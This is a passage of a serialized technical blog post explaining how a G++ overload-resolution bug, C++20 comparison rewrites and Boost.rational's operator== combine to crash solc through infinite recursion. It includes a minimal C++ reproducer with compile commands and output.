{"style":7154},[74207],{"type":32,"value":59474},{"type":26,"tag":217,"props":74209,"children":74210},{"style":7064},[74211],{"type":32,"value":24597},{"type":26,"tag":217,"props":74213,"children":74214},{"style":7048},[74215],{"type":32,"value":61808},{"type":26,"tag":217,"props":74217,"children":74218},{"style":7154},[74219],{"type":32,"value":52893},{"type":26,"tag":217,"props":74221,"children":74222},{"style":7154},[74223],{"type":32,"value":74076},{"type":26,"tag":217,"props":74225,"children":74226},{"style":7048},[74227],{"type":32,"value":8064},{"type":26,"tag":217,"props":74229,"children":74230},{"class":7028,"line":7178},[74231,74235,74239,74243],{"type":26,"tag":217,"props":74232,"children":74233},{"style":7119},[74234],{"type":32,"value":61192},{"type":26,"tag":217,"props":74236,"children":74237},{"style":7048},[74238],{"type":32,"value":7127},{"type":26,"tag":217,"props":74240,"children":74241},{"style":7130},[74242],{"type":32,"value":185},{"type":26,"tag":217,"props":74244,"children":74245},{"style":7048},[74246],{"type":32,"value":74247},"] data;\n",{"type":26,"tag":217,"props":74249,"children":74250},{"class":7028,"line":7389},[74251],{"type":26,"tag":217,"props":74252,"children":74253},{"style":7048},[74254],{"type":32,"value":9754},{"type":26,"tag":217,"props":74256,"children":74257},{"class":7028,"line":7406},[74258],{"type":26,"tag":217,"props":74259,"children":74260},{"style":7048},[74261],{"type":32,"value":7184},{"type":26,"tag":39,"props":74263,"children":74264},{},[74265],{"type":32,"value":74266},"Still crashes.",{"type":26,"tag":39,"props":74268,"children":74269},{},[74270],{"type":32,"value":74271},"So what’s going on?",{"type":26,"tag":39,"props":74273,"children":74274},{},[74275],{"type":32,"value":74276},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":26,"tag":207,"props":74278,"children":74280},{"code":74279,"language":33131,"meta":8,"className":33132,"style":8},"if (*lengthValue == 0) { ... }\n",[74281],{"type":26,"tag":83,"props":74282,"children":74283},{"__ignoreMap":8},[74284],{"type":26,"tag":217,"props":74285,"children":74286},{"class":7028,"line":7029},[74287,74291,74295,74299,74304,74308,74312],{"type":26,"tag":217,"props":74288,"children":74289},{"style":7042},[74290],{"type":32,"value":7045},{"type":26,"tag":217,"props":74292,"children":74293},{"style":7048},[74294],{"type":32,"value":7051},{"type":26,"tag":217,"props":74296,"children":74297},{"style":7149},[74298],{"type":32,"value":10006},{"type":26,"tag":217,"props":74300,"children":74301},{"style":7048},[74302],{"type":32,"value":74303},"lengthValue ",{"type":26,"tag":217,"props":74305,"children":74306},{"style":7149},[74307],{"type":32,"value":9106},{"type":26,"tag":217,"props":74309,"children":74310},{"style":7130},[74311],{"type":32,"value":9922},{"type":26,"tag":217,"props":74313,"children":74314},{"style":7048},[74315],{"type":32,"value":74316},") { ... }\n",{"type":26,"tag":39,"props":74318,"children":74319},{},[74320,74322,74328],{"type":32,"value":74321},"That single comparison — a ",{"type":26,"tag":83,"props":74323,"children":74325},{"className":74324},[],[74326],{"type":32,"value":74327},"boost::rational",{"type":32,"value":74329}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":26,"tag":39,"props":74331,"children":74332},{},[74333],{"type":32,"value":74334},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":26,"tag":2040,"props":74336,"children":74337},{},[74338,74343,74348],{"type":26,"tag":2044,"props":74339,"children":74340},{},[74341],{"type":32,"value":74342},"A 12-year-old overload resolution bug in G++",{"type":26,"tag":2044,"props":74344,"children":74345},{},[74346],{"type":32,"value":74347},"An outdated symmetric comparison pattern in Boost",{"type":26,"tag":2044,"props":74349,"children":74350},{},[74351],{"type":32,"value":74352},"A subtle but impactful rewrite rule in C++20",{"type":26,"tag":39,"props":74354,"children":74355},{},[74356],{"type":32,"value":74357},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":26,"tag":11933,"props":74359,"children":74360},{},[],{"type":26,"tag":27,"props":74362,"children":74364},{"id":74363},"background-the-setup",[74365],{"type":32,"value":74366},"Background: The Setup",{"type":26,"tag":39,"props":74368,"children":74369},{},[74370,74372,74379],{"type":32,"value":74371},"If you follow the ",{"type":26,"tag":163,"props":74373,"children":74376},{"href":74374,"rel":74375},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[167],[74377],{"type":32,"value":74378},"Solidity build documentation (v0.8.30)",{"type":32,"value":74380},", you'll see it recommends:",{"type":26,"tag":2040,"props":74382,"children":74383},{},[74384,74389],{"type":26,"tag":2044,"props":74385,"children":74386},{},[74387],{"type":32,"value":74388},"Boost ≥ 1.67",{"type":26,"tag":2044,"props":74390,"children":74391},{},[74392],{"type":32,"value":74393},"GCC ≥ 11",{"type":26,"tag":39,"props":74395,"children":74396},{},[74397],{"type":32,"value":74398},"Ubuntu 22.04, for example, ships with:",{"type":26,"tag":2040,"props":74400,"children":74401},{},[74402,74407],{"type":26,"tag":2044,"props":74403,"children":74404},{},[74405],{"type":32,"value":74406},"G++ 11.4.0",{"type":26,"tag":2044,"props":74408,"children":74409},{},[74410],{"type":32,"value":74411},"Boost 1.74.0",{"type":26,"tag":39,"props":74413,"children":74414},{},[74415],{"type":32,"value":74416},"So far, so good.",{"type":26,"tag":39,"props":74418,"children":74419},{},[74420,74422,74427],{"type":32,"value":74421},"However, Solidity enabled ",{"type":26,"tag":9348,"props":74423,"children":74424},{},[74425],{"type":32,"value":74426},"C++20",{"type":32,"value":74428}," in January 2025:",{"type":26,"tag":35,"props":74430,"children":74431},{},[74432],{"type":26,"tag":39,"props":74433,"children":74434},{},[74435],{"type":26,"tag":163,"props":74436,"children":74439},{"href":74437,"rel":74438},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[167],[74440],{"type":32,"value":74441},"Enable C++20 in Solidity",{"type":26,"tag":39,"props":74443,"children":74444},{},[74445],{"type":32,"value":74446},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":26,"tag":11933,"props":74448,"children":74449},{},[],{"type":26,"tag":27,"props":74451,"children":74453},{"id":74452},"part-i-a-12-year-old-g-bug-in-overload-resolution",[74454],{"type":32,"value":74455},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":26,"tag":607,"props":74457,"children":74459},{"id":74458},"whats-overload-resolution",[74460],{"type":32,"value":74461},"What’s Overload Resolution?",{"type":26,"tag":39,"props":74463,"children":74464},{},[74465,74467,74473,74475,74481,74483,74488,74490,74495,74497,74503,74505,74510,74511,74517],{"type":32,"value":74466},"In C++, when you write an expression like ",{"type":26,"tag":83,"props":74468,"children":74470},{"className":74469},[],[74471],{"type":32,"value":74472},"a == b",{"type":32,"value":74474},", the compiler chooses among available ",{"type":26,"tag":83,"props":74476,"children":74478},{"className":74477},[],[74479],{"type":32,"value":74480},"operator==",{"type":32,"value":74482}," implementations by comparing their ",{"type":26,"tag":9348,"props":74484,"children":74485},{},[74486],{"type":32,"value":74487},"match quality",{"type":32,"value":74489},". A ",{"type":26,"tag":9348,"props":74491,"children":74492},{},[74493],{"type":32,"value":74494},"member function",{"type":32,"value":74496}," like ",{"type":26,"tag":83,"props":74498,"children":74500},{"className":74499},[],[74501],{"type":32,"value":74502},"a.operator==(b)",{"type":32,"value":74504}," usually has higher priority than a ",{"type":26,"tag":9348,"props":74506,"children":74507},{},[74508],{"type":32,"value":74509},"non-member function",{"type":32,"value":74496},{"type":26,"tag":83,"props":74512,"children":74514},{"className":74513},[],[74515],{"type":32,"value":74516},"operator==(a, b)",{"type":32,"value":74518}," — unless the types differ too much or are ambiguous.",{"type":26,"tag":39,"props":74520,"children":74521},{},[74522],{"type":32,"value":74523},"That’s the rule. But G++ didn’t always follow it.",{"type":26,"tag":607,"props":74525,"children":74526},{"id":22813},[74527],{"type":32,"value":74528},"The Bug",{"type":26,"tag":39,"props":74530,"children":74531},{},[74532,74534,74541],{"type":32,"value":74533},"In 2012, a bug was filed: ",{"type":26,"tag":163,"props":74535,"children":74538},{"href":74536,"rel":74537},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[167],[74539],{"type":32,"value":74540},"GCC Bug 53499 – overload resolution favors non-member function",{"type":32,"value":74542},". The issue? In expressions where:",{"type":26,"tag":2040,"props":74544,"children":74545},{},[74546,74566],{"type":26,"tag":2044,"props":74547,"children":74548},{},[74549,74551,74557,74559,74564],{"type":32,"value":74550},"A class ",{"type":26,"tag":83,"props":74552,"children":74554},{"className":74553},[],[74555],{"type":32,"value":74556},"rational\u003CT>",{"type":32,"value":74558}," has a templated ",{"type":26,"tag":83,"props":74560,"children":74562},{"className":74561},[],[74563],{"type":32,"value":74480},{"type":32,"value":74565}," member function",{"type":26,"tag":2044,"props":74567,"children":74568},{},[74569,74571,74577],{"type":32,"value":74570},"There's also a more generic free ",{"type":26,"tag":83,"props":74572,"children":74574},{"className":74573},[],[74575],{"type":32,"value":74576},"operator==(rational\u003CT>, U)",{"type":32,"value":7831},{"type":26,"tag":39,"props":74579,"children":74580},{},[74581],{"type":26,"tag":9348,"props":74582,"children":74583},{},[74584],{"type":32,"value":74585},"Clang correctly chooses the member function.",{"type":26,"tag":39,"props":74587,"children":74588},{},[74589],{"type":26,"tag":9348,"props":74590,"children":74591},{},[74592],{"type":32,"value":74593},"G++ (before v14) chooses the non-member function.",{"type":26,"tag":39,"props":74595,"children":74596},{},[74597,74599,74604,74606,74613],{"type":32,"value":74598},"Why? Because G++ mishandles ",{"type":26,"tag":9348,"props":74600,"children":74601},{},[74602],{"type":32,"value":74603},"templated conversion + non-exact match",{"type":32,"value":74605},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":26,"tag":163,"props":74607,"children":74610},{"href":74608,"rel":74609},"https://cplusplus.github.io/CWG/issues/532.html",[167],[74611],{"type":32,"value":74612},"CWG532: Member/nonmember operator template partial ordering",{"type":32,"value":180},{"type":26,"tag":607,"props":74615,"children":74617},{"id":74616},"a-minimal-reproducer",[74618],{"type":32,"value":74619},"A Minimal Reproducer",{"type":26,"tag":39,"props":74621,"children":74622},{},[74623],{"type":32,"value":74624},"Let’s see this in action:",{"type":26,"tag":207,"props":74626,"children":74628},{"code":74627,"language":33131,"meta":8,"className":33132,"style":8},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n    template \u003Cclass T>\n    bool operator==(const T& i) const {\n        std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n        return true;\n    }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n    std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n    return false;\n}\n\nint main() {\n    rational\u003Cint> r;\n    return r == 0;\n}\n",[74629],{"type":26,"tag":83,"props":74630,"children":74631},{"__ignoreMap":8},[74632,74644,74651,74677,74694,74702,74727,74773,74801,74816,74823,74830,74837,74873,74942,74967,74982,74989,74996,75011,75036,75060],{"type":26,"tag":217,"props":74633,"children":74634},{"class":7028,"line":7029},[74635,74639],{"type":26,"tag":217,"props":74636,"children":74637},{"style":7042},[74638],{"type":32,"value":9599},{"type":26,"tag":217,"props":74640,"children":74641},{"style":7338},[74642],{"type":32,"value":74643}," \u003Ciostream>\n",{"type":26,"tag":217,"props":74645,"children":74646},{"class":7028,"line":6770},[74647],{"type":26,"tag":217,"props":74648,"children":74649},{"emptyLinePlaceholder":17},[74650],{"type":32,"value":7817},{"type":26,"tag":217,"props":74652,"children":74653},{"class":7028,"line":6779},[74654,74659,74663,74668,74673],{"type":26,"tag":217,"props":74655,"children":74656},{"style":7154},[74657],{"type":32,"value":74658},"template",{"type":26,"tag":217,"props":74660,"children":74661},{"style":7048},[74662],{"type":32,"value":13147},{"type":26,"tag":217,"props":74664,"children":74665},{"style":7154},[74666],{"type":32,"value":74667},"typename",{"type":26,"tag":217,"props":74669,"children":74670},{"style":7119},[74671],{"type":32,"value":74672}," IntType",{"type":26,"tag":217,"props":74674,"children":74675},{"style":7048},[74676],{"type":32,"value":7281},{"type":26,"tag":217,"props":74678,"children":74679},{"class":7028,"line":7140},[74680,74685,74690],{"type":26,"tag":217,"props":74681,"children":74682},{"style":7154},[74683],{"type":32,"value":74684},"class",{"type":26,"tag":217,"props":74686,"children":74687},{"style":7119},[74688],{"type":32,"value":74689}," rational",{"type":26,"tag":217,"props":74691,"children":74692},{"style":7048},[74693],{"type":32,"value":8064},{"type":26,"tag":217,"props":74695,"children":74696},{"class":7028,"line":7165},[74697],{"type":26,"tag":217,"props":74698,"children":74699},{"style":7154},[74700],{"type":32,"value":74701},"public:\n",{"type":26,"tag":217,"props":74703,"children":74704},{"class":7028,"line":7178},[74705,74710,74714,74718,74723],{"type":26,"tag":217,"props":74706,"children":74707},{"style":7154},[74708],{"type":32,"value":74709},"    template",{"type":26,"tag":217,"props":74711,"children":74712},{"style":7048},[74713],{"type":32,"value":13147},{"type":26,"tag":217,"props":74715,"children":74716},{"style":7154},[74717],{"type":32,"value":74684},{"type":26,"tag":217,"props":74719,"children":74720},{"style":7119},[74721],{"type":32,"value":74722}," T",{"type":26,"tag":217,"props":74724,"children":74725},{"style":7048},[74726],{"type":32,"value":7281},{"type":26,"tag":217,"props":74728,"children":74729},{"class":7028,"line":7389},[74730,74734,74739,74744,74749,74753,74757,74761,74765,74769],{"type":26,"tag":217,"props":74731,"children":74732},{"style":7154},[74733],{"type":32,"value":35373},{"type":26,"tag":217,"props":74735,"children":74736},{"style":7154},[74737],{"type":32,"value":74738}," operator",{"type":26,"tag":217,"props":74740,"children":74741},{"style":7048},[74742],{"type":32,"value":74743},"==(",{"type":26,"tag":217,"props":74745,"children":74746},{"style":7154},[74747],{"type":32,"value":74748},"const",{"type":26,"tag":217,"props":74750,"children":74751},{"style":7119},[74752],{"type":32,"value":74722},{"type":26,"tag":217,"props":74754,"children":74755},{"style":7154},[74756],{"type":32,"value":9804},{"type":26,"tag":217,"props":74758,"children":74759},{"style":7054},[74760],{"type":32,"value":28971},{"type":26,"tag":217,"props":74762,"children":74763},{"style":7048},[74764],{"type":32,"value":8380},{"type":26,"tag":217,"props":74766,"children":74767},{"style":7154},[74768],{"type":32,"value":74748},{"type":26,"tag":217,"props":74770,"children":74771},{"style":7048},[74772],{"type":32,"value":8064},{"type":26,"tag":217,"props":74774,"children":74775},{"class":7028,"line":7406},[74776,74781,74786,74791,74796],{"type":26,"tag":217,"props":74777,"children":74778},{"style":7048},[74779],{"type":32,"value":74780},"        std::cout ",{"type":26,"tag":217,"props":74782,"children":74783},{"style":7149},[74784],{"type":32,"value":74785},"\u003C\u003C",{"type":26,"tag":217,"props":74787,"children":74788},{"style":7338},[74789],{"type":32,"value":74790}," \"clang++ resolved member\"",{"type":26,"tag":217,"props":74792,"children":74793},{"style":7149},[74794],{"type":32,"value":74795}," \u003C\u003C",{"type":26,"tag":217,"props":74797,"children":74798},{"style":7048},[74799],{"type":32,"value":74800}," std::endl;\n",{"type":26,"tag":217,"props":74802,"children":74803},{"class":7028,"line":7439},[74804,74808,74812],{"type":26,"tag":217,"props":74805,"children":74806},{"style":7042},[74807],{"type":32,"value":9737},{"type":26,"tag":217,"props":74809,"children":74810},{"style":7154},[74811],{"type":32,"value":7902},{"type":26,"tag":217,"props":74813,"children":74814},{"style":7048},[74815],{"type":32,"value":7162},{"type":26,"tag":217,"props":74817,"children":74818},{"class":7028,"line":7487},[74819],{"type":26,"tag":217,"props":74820,"children":74821},{"style":7048},[74822],{"type":32,"value":9754},{"type":26,"tag":217,"props":74824,"children":74825},{"class":7028,"line":7524},[74826],{"type":26,"tag":217,"props":74827,"children":74828},{"style":7048},[74829],{"type":32,"value":12331},{"type":26,"tag":217,"props":74831,"children":74832},{"class":7028,"line":7553},[74833],{"type":26,"tag":217,"props":74834,"children":74835},{"emptyLinePlaceholder":17},[74836],{"type":32,"value":7817},{"type":26,"tag":217,"props":74838,"children":74839},{"class":7028,"line":7570},[74840,74844,74848,74852,74857,74861,74865,74869],{"type":26,"tag":217,"props":74841,"children":74842},{"style":7154},[74843],{"type":32,"value":74658},{"type":26,"tag":217,"props":74845,"children":74846},{"style":7048},[74847],{"type":32,"value":13147},{"type":26,"tag":217,"props":74849,"children":74850},{"style":7154},[74851],{"type":32,"value":74684},{"type":26,"tag":217,"props":74853,"children":74854},{"style":7119},[74855],{"type":32,"value":74856}," Arg",{"type":26,"tag":217,"props":74858,"children":74859},{"style":7048},[74860],{"type":32,"value":7599},{"type":26,"tag":217,"props":74862,"children":74863},{"style":7154},[74864],{"type":32,"value":74684},{"type":26,"tag":217,"props":74866,"children":74867},{"style":7119},[74868],{"type":32,"value":74672},{"type":26,"tag":217,"props":74870,"children":74871},{"style":7048},[74872],{"type":32,"value":7281},{"type":26,"tag":217,"props":74874,"children":74875},{"class":7028,"line":7621},[74876,74881,74885,74889,74893,74897,74901,74906,74910,74914,74918,74922,74926,74930,74934,74938],{"type":26,"tag":217,"props":74877,"children":74878},{"style":7154},[74879],{"type":32,"value":74880},"bool",{"type":26,"tag":217,"props":74882,"children":74883},{"style":7154},[74884],{"type":32,"value":74738},{"type":26,"tag":217,"props":74886,"children":74887},{"style":7048},[74888],{"type":32,"value":74743},{"type":26,"tag":217,"props":74890,"children":74891},{"style":7154},[74892],{"type":32,"value":74748},{"type":26,"tag":217,"props":74894,"children":74895},{"style":7119},[74896],{"type":32,"value":74689},{"type":26,"tag":217,"props":74898,"children":74899},{"style":7048},[74900],{"type":32,"value":7289},{"type":26,"tag":217,"props":74902,"children":74903},{"style":7119},[74904],{"type":32,"value":74905},"IntType",{"type":26,"tag":217,"props":74907,"children":74908},{"style":7048},[74909],{"type":32,"value":5903},{"type":26,"tag":217,"props":74911,"children":74912},{"style":7154},[74913],{"type":32,"value":9804},{"type":26,"tag":217,"props":74915,"children":74916},{"style":7054},[74917],{"type":32,"value":24597},{"type":26,"tag":217,"props":74919,"children":74920},{"style":7048},[74921],{"type":32,"value":7599},{"type":26,"tag":217,"props":74923,"children":74924},{"style":7154},[74925],{"type":32,"value":74748},{"type":26,"tag":217,"props":74927,"children":74928},{"style":7119},[74929],{"type":32,"value":74856},{"type":26,"tag":217,"props":74931,"children":74932},{"style":7154},[74933],{"type":32,"value":9804},{"type":26,"tag":217,"props":74935,"children":74936},{"style":7054},[74937],{"type":32,"value":24621},{"type":26,"tag":217,"props":74939,"children":74940},{"style":7048},[74941],{"type":32,"value":7618},{"type":26,"tag":217,"props":74943,"children":74944},{"class":7028,"line":7672},[74945,74950,74954,74959,74963],{"type":26,"tag":217,"props":74946,"children":74947},{"style":7048},[74948],{"type":32,"value":74949},"    std::cout ",{"type":26,"tag":217,"props":74951,"children":74952},{"style":7149},[74953],{"type":32,"value":74785},{"type":26,"tag":217,"props":74955,"children":74956},{"style":7338},[74957],{"type":32,"value":74958}," \"g++ \u003C14 resolved non-member\"",{"type":26,"tag":217,"props":74960,"children":74961},{"style":7149},[74962],{"type":32,"value":74795},{"type":26,"tag":217,"props":74964,"children":74965},{"style":7048},[74966],{"type":32,"value":74800},{"type":26,"tag":217,"props":74968,"children":74969},{"class":7028,"line":7681},[74970,74974,74978],{"type":26,"tag":217,"props":74971,"children":74972},{"style":7042},[74973],{"type":32,"value":7171},{"type":26,"tag":217,"props":74975,"children":74976},{"style":7154},[74977],{"type":32,"value":7795},{"type":26,"tag":217,"props":74979,"children":74980},{"style":7048},[74981],{"type":32,"value":7162},{"type":26,"tag":217,"props":74983,"children":74984},{"class":7028,"line":7754},[74985],{"type":26,"tag":217,"props":74986,"children":74987},{"style":7048},[74988],{"type":32,"value":7184},{"type":26,"tag":217,"props":74990,"children":74991},{"class":7028,"line":7784},[74992],{"type":26,"tag":217,"props":74993,"children":74994},{"emptyLinePlaceholder":17},[74995],{"type":32,"value":7817},{"type":26,"tag":217,"props":74997,"children":74998},{"class":7028,"line":7802},[74999,75003,75007],{"type":26,"tag":217,"props":75000,"children":75001},{"style":7154},[75002],{"type":32,"value":9619},{"type":26,"tag":217,"props":75004,"children":75005},{"style":7064},[75006],{"type":32,"value":7836},{"type":26,"tag":217,"props":75008,"children":75009},{"style":7048},[75010],{"type":32,"value":7841},{"type":26,"tag":217,"props":75012,"children":75013},{"class":7028,"line":7811},[75014,75019,75023,75027,75031],{"type":26,"tag":217,"props":75015,"children":75016},{"style":7048},[75017],{"type":32,"value":75018},"    rational",{"type":26,"tag":217,"props":75020,"children":75021},{"style":7149},[75022],{"type":32,"value":7289},{"type":26,"tag":217,"props":75024,"children":75025},{"style":7154},[75026],{"type":32,"value":9619},{"type":26,"tag":217,"props":75028,"children":75029},{"style":7149},[75030],{"type":32,"value":5903},{"type":26,"tag":217,"props":75032,"children":75033},{"style":7048},[75034],{"type":32,"value":75035}," r;\n",{"type":26,"tag":217,"props":75037,"children":75038},{"class":7028,"line":7820},[75039,75043,75048,75052,75056],{"type":26,"tag":217,"props":75040,"children":75041},{"style":7042},[75042],{"type":32,"value":7171},{"type":26,"tag":217,"props":75044,"children":75045},{"style":7048},[75046],{"type":32,"value":75047}," r ",{"type":26,"tag":217,"props":75049,"children":75050},{"style":7149},[75051],{"type":32,"value":9106},{"type":26,"tag":217,"props":75053,"children":75054},{"style":7130},[75055],{"type":32,"value":9922},{"type":26,"tag":217,"props":75057,"children":75058},{"style":7048},[75059],{"type":32,"value":7162},{"type":26,"tag":217,"props":75061,"children":75062},{"class":7028,"line":7844},[75063],{"type":26,"tag":217,"props":75064,"children":75065},{"style":7048},[75066],{"type":32,"value":7184},{"type":26,"tag":2040,"props":75068,"children":75069},{},[75070],{"type":26,"tag":2044,"props":75071,"children":75072},{},[75073],{"type":32,"value":75074},"Compile with g++\u003C14:",{"type":26,"tag":207,"props":75076,"children":75078},{"code":75077,"language":24330,"meta":8,"className":24328,"style":8},"g++ -std=c++17 main.cpp -o test && ./test\n",[75079],{"type":26,"tag":83,"props":75080,"children":75081},{"__ignoreMap":8},[75082],{"type":26,"tag":217,"props":75083,"children":75084},{"class":7028,"line":7029},[75085,75090,75095,75100,75105,75110,75114],{"type":26,"tag":217,"props":75086,"children":75087},{"style":7064},[75088],{"type":32,"value":75089},"g++",{"type":26,"tag":217,"props":75091,"children":75092},{"style":7338},[75093],{"type":32,"value":75094}," -std=c++17",{"type":26,"tag":217,"props":75096,"children":75097},{"style":7338},[75098],{"type":32,"value":75099}," main.cpp",{"type":26,"tag":217,"props":75101,"children":75102},{"style":7338},[75103],{"type":32,"value":75104}," -o",{"type":26,"tag":217,"props":75106,"children":75107},{"style":7338},[75108],{"type":32,"value":75109}," test",{"type":26,"tag":217,"props":75111,"children":75112},{"style":7048},[75113],{"type":32,"value":24375},{"type":26,"tag":217,"props":75115,"children":75116},{"style":7064},[75117],{"type":32,"value":75118},"./test\n",{"type":26,"tag":39,"props":75120,"children":75121},{},[75122],{"type":32,"value":75123},"Output (on g++ 11.4):",{"type":26,"tag":207,"props":75125,"children":75127},{"code":75126},"g++ \u003C14 resolved non-member\n",[75128],{"type":26,"tag":83,"props":75129,"children":75130},{"__ignoreMap":8},[75131],{"type":32,"value":75126},{"type":26,"tag":2040,"props":75133,"children":75134},{},[75135],{"type":26,"tag":2044,"props":75136,"children":75137},{},[75138],{"type":32,"value":75139},"Compile with clang++:",{"type":26,"tag":207,"props":75141,"children":75143},{"code":75142,"language":24330,"meta":8,"className":24328,"style":8},"clang++ -std=c++17 main.cpp -o test && ./test\n",[75144],{"type":26,"tag":83,"props":75145,"children":75146},{"__ignoreMap":8},[75147],{"type":26,"tag":217,"props":75148,"children":75149},{"class":7028,"line":7029},[75150,75155,75159,75163,75167,75171,75175],{"type":26,"tag":217,"props":75151,"children":75152},{"style":7064},[75153],{"type":32,"value":75154},"clang++",{"type":26,"tag":217,"props":75156,"children":75157},{"style":7338},[75158],{"type":32,"value":75094},{"type":26,"tag":217,"props":75160,"children":75161},{"style":7338},[75162],{"type":32,"value":75099},{"type":26,"tag":217,"props":75164,"children":75165},{"style":7338},[75166],{"type":32,"value":75104},{"type":26,"tag":217,"props":75168,"children":75169},{"style":7338},[75170],{"type":32,"value":75109},{"type":26,"tag":217,"props":75172,"children":75173},{"style":7048},[75174],{"type":32,"value":24375},{"type":26,"tag":217,"props":75176,"children":75177},{"style":7064},[75178],{"type":32,"value":75118},{"type":26,"tag":39,"props":75180,"children":75181},{},[75182],{"type":32,"value":75183},"Output:",{"type":26,"tag":207,"props":75185,"children":75187},{"code":75186},"clang++ resolved member\n",[75188],{"type":26,"tag":83,"props":75189,"children":75190},{"__ignoreMap":8},[75191],{"type":32,"value":75186},{"type":26,"tag":39,"props":75193,"children":75194},{},[75195],{"type":32,"value":75196},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":26,"tag":11933,"props":75198,"children":75199},{},[],{"type":26,"tag":27,"props":75201,"children":75203},{"id":75202},"part-ii-c20s-symmetric-comparison-feature",[75204],{"type":32,"value":75205},"Part II: C++20’s Symmetric Comparison Feature",{"type":26,"tag":607,"props":75207,"children":75209},{"id":75208},"what-changed-in-c20",[75210],{"type":32,"value":75211},"What Changed in C++20?",{"type":26,"tag":39,"props":75213,"children":75214},{},[75215,75217,75230,75231,75236],{"type":32,"value":75216},"C++20 introduced the ",{"type":26,"tag":163,"props":75218,"children":75221},{"href":75219,"rel":75220},"https://en.cppreference.com/w/cpp/language/operator_comparison",[167],[75222,75224],{"type":32,"value":75223},"spaceship operator ",{"type":26,"tag":83,"props":75225,"children":75227},{"className":75226},[],[75228],{"type":32,"value":75229},"\u003C=>",{"type":32,"value":1308},{"type":26,"tag":9348,"props":75232,"children":75233},{},[75234],{"type":32,"value":75235},"defaulted comparison rewrites",{"type":32,"value":180},{"type":26,"tag":39,"props":75238,"children":75239},{},[75240,75242,75247],{"type":32,"value":75241},"When you define a two-argument ",{"type":26,"tag":83,"props":75243,"children":75245},{"className":75244},[],[75246],{"type":32,"value":74480},{"type":32,"value":75248},", C++20 may implicitly define the \"reversed\" version:",{"type":26,"tag":2040,"props":75250,"children":75251},{},[75252,75263],{"type":26,"tag":2044,"props":75253,"children":75254},{},[75255,75257],{"type":32,"value":75256},"If you define: ",{"type":26,"tag":83,"props":75258,"children":75260},{"className":75259},[],[75261],{"type":32,"value":75262},"bool operator==(T1, T2);",{"type":26,"tag":2044,"props":75264,"children":75265},{},[75266,75268,75274],{"type":32,"value":75267},"Then ",{"type":26,"tag":83,"props":75269,"children":75271},{"className":75270},[],[75272],{"type":32,"value":75273},"T2 == T1",{"type":32,"value":75275}," may call the same function by reversing the arguments.",{"type":26,"tag":39,"props":75277,"children":75278},{},[75279,75281,75286,75287,75292,75294,75300,75302,75307],{"type":32,"value":75280},"This rewrite is ",{"type":26,"tag":9348,"props":75282,"children":75283},{},[75284],{"type":32,"value":75285},"recursive",{"type":32,"value":14785},{"type":26,"tag":83,"props":75288,"children":75290},{"className":75289},[],[75291],{"type":32,"value":74472},{"type":32,"value":75293}," becomes ",{"type":26,"tag":83,"props":75295,"children":75297},{"className":75296},[],[75298],{"type":32,"value":75299},"b == a",{"type":32,"value":75301},", which becomes ",{"type":26,"tag":83,"props":75303,"children":75305},{"className":75304},[],[75306],{"type":32,"value":74472},{"type":32,"value":75308}," again, and so on — if not handled carefully.",{"type":26,"tag":39,"props":75310,"children":75311},{},[75312],{"type":32,"value":75313},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":26,"tag":11933,"props":75315,"children":75316},{},[],{"type":26,"tag":27,"props":75318,"children":75320},{"id":75319},"part-iii-the-boost-trapdoor",[75321],{"type":32,"value":75322},"Part III: The Boost Trapdoor",{"type":26,"tag":39,"props":75324,"children":75325},{},[75326,75328,75334,75336,75341],{"type":32,"value":75327},"The old Boost ",{"type":26,"tag":83,"props":75329,"children":75331},{"className":75330},[],[75332],{"type":32,"value":75333},"rational",{"type":32,"value":75335}," class (prior to v1.75) defined both member function and non-member function of ",{"type":26,"tag":83,"props":75337,"children":75339},{"className":75338},[],[75340],{"type":32,"value":74480},{"type":32,"value":1473},{"type":26,"tag":207,"props":75343,"children":75345},{"code":75344,"language":33131,"meta":8,"className":33132,"style":8},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n    ...\npublic:\n    ...\n    \n    template \u003Cclass T>\n    BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n    {\n       return ((den == IntType(1)) && (num == i));\n    }\n    ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n      return a == b; 